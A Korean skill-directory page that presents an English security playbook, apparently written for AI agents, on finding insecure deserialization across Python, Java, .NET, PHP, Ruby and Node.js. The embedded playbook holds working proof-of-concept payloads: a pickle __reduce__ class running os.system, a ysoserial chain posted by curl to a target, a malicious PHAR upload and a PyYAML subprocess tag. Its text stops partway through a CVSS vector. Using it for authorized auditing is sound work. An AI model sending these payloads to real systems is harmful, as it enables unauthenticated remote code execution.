본문으로 건너뛰기
Skillpedia
보안6.5k · #13957

deserialization

하는 일

이 스킬은 신뢰할 수 없는 데이터가 안전하지 않은 방식으로 객체로 되돌아가는 안전하지 않은 역직렬화를 찾기 위한 플레이북입니다. 허용된 코드를 점검하는 개발자와 검토자를 위한 스킬입니다.

사용하는 경우

  • ✓개발자가 신뢰할 수 없는 데이터가 안전하지 않은 역직렬화 함수로 불러와지는지 확인해 달라고 요청할 때.
  • ✓에이전트가 Python, Java, .NET, PHP 또는 Ruby 코드에서 위험한 로드 호출을 검토할 때.
  • ✓팀이 위험한 함수 대신 쓸 더 안전한 로드 함수 목록을 원하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리가 허가받은 Python 코드에서 신뢰할 수 없는 데이터를 pickle이나 안전하지 않은 YAML로 불러오는 곳이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 언어별로 위험한 로드 함수를 찾고, 그 입력이 어디서 오는지 추적한 뒤, 더 안전한 처리가 필요한 곳을 나열합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Insecure Deserialization Playbook

Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.

1. Sources (user-controlled data that becomes an object)

  • HTTP body, cookie, header, query param
  • Message queue payload (Kafka, RabbitMQ, SQS)
  • File upload parsed as config
  • WebSocket messages
  • Inter-service RPC

2. Dangerous sinks by language

Python

  • pickle.loads / pickle.load / pickle.Unpickler
  • dill.loads, cloudpickle.loads, shelve.open
  • yaml.load() without Loader=SafeLoader
  • jsonpickle.decode
  • numpy.load(allow_pickle=True)
  • torch.load (loads pickled tensors → RCE)
  • joblib.load
  • marshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif

Java

  • ObjectInputStream.readObject
  • XMLDecoder.readObject
  • Jackson ObjectMapper with default typing + polymorphic types
  • SnakeYAML Yaml.load() (before 2.0) — RCE via !!javax.script.ScriptEngineManager
  • XStream without whitelist
  • Hessian, Kryo with registration disabled

Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)

.NET

  • BinaryFormatter.Deserialize (deprecated but still common)
  • SoapFormatter, LosFormatter, ObjectStateFormatter
  • JavaScriptSerializer with SimpleTypeResolver
  • Json.NET with TypeNameHandling != None

PHP

  • unserialize() on any user input
  • PHAR uploads — file_exists("phar://upload.phar") triggers deser
  • Laravel decrypt() → unserialize (pre-patched APP_KEY leak chain)

Ruby

  • Marshal.load
  • YAML.load (before Psych 4 safe default)
  • Oj.load without mode: :rails

Node.js

  • node-serialize unserialize()
  • serialize-to-js deserialize()
  • vm.runInNewContext(userInput) — not technically deser but same impact

3. Gadget chain availability

A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:

# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +

# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt

# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'

4. Taint audit workflow

  1. Identify every source (HTTP body/cookie/header handlers).
  2. Trace the data through:
    • Explicit .loads/.readObject/unserialize calls
    • Framework magic (Spring @RequestBody with default typing)
    • File uploads parsed as config
  3. For each confirmed source-to-sink path, check gadget availability on the classpath.
  4. Record as graph vulnerability node. If no gadgets are currently available, mark exploitability="conditional" — the dep upgrade that ships the gadget class is a time bomb.

5. PoC templates

Python pickle (direct)

import pickle, base64, os
class E:
    def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())

Send as cookie/body; success = /tmp/pwn present or command output reflected.

Java ysoserial

java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set

PHP PHAR

php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper

YAML (PyYAML < safe default)

!!python/object/new:subprocess.check_output [["id"]]

6. Default CVSS

All unauthenticated deser → RCE are 10.0 critical: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Authenticated deser: drop PR to L → 9.9.

7. Validation contract

validate_finding(
  vuln_id=...,
  poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
  success_patterns="uid=0|root@|pwned|/tmp/pwn",
  negative_command="curl -X POST https://target.com/api/import --data 'benign'",
  negative_patterns="200|accepted",
  cvss_vector="CVSS:3.1/AV:N/AC:L
자주 묻는 질문

역직렬화란 무엇인가요?

저장되거나 전송된 데이터를 다시 프로그램 객체로 바꾸는 것이며, 데이터가 신뢰할 수 없으면 안전하지 않을 수 있습니다.

어떤 입력 경로가 위험한가요?

스킬은 HTTP 입력, 메시지 큐, 업로드된 설정 파일, WebSocket 메시지를 흔한 출처로 듭니다.

드문 문제인가요?

스킬은 코드 실행으로 가는 가장 확실한 경로 중 하나라고 보고 있어서 높은 우선순위로 다룹니다.

상세 정보

작성자의 원본 설명

Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13957
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬